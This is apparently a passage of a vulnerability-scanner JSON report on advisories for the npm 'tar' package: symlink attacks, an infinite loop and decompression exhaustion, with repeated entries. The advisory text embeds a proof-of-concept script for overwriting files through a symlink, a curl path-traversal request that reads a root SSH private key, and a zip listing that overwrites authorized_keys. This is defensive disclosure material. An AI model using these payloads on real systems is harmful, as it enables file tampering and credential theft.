**Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", 